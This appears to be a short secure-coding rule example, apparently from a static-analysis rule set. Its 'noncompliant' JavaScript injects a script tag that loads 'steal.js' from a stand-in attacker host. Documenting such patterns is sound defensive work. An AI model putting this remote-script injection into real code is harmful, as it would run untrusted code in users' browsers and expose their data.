2021-04-28 16:49:39 +02:00

13 lines
274 B
Plaintext

== Noncompliant Code Example
----
function include(url) {
var s = document.createElement("script");
s.setAttribute("type", "text/javascript");
s.setAttribute("src", url);
document.body.appendChild(s);
}
include("http://hackers.com/steal.js") // Noncompliant
----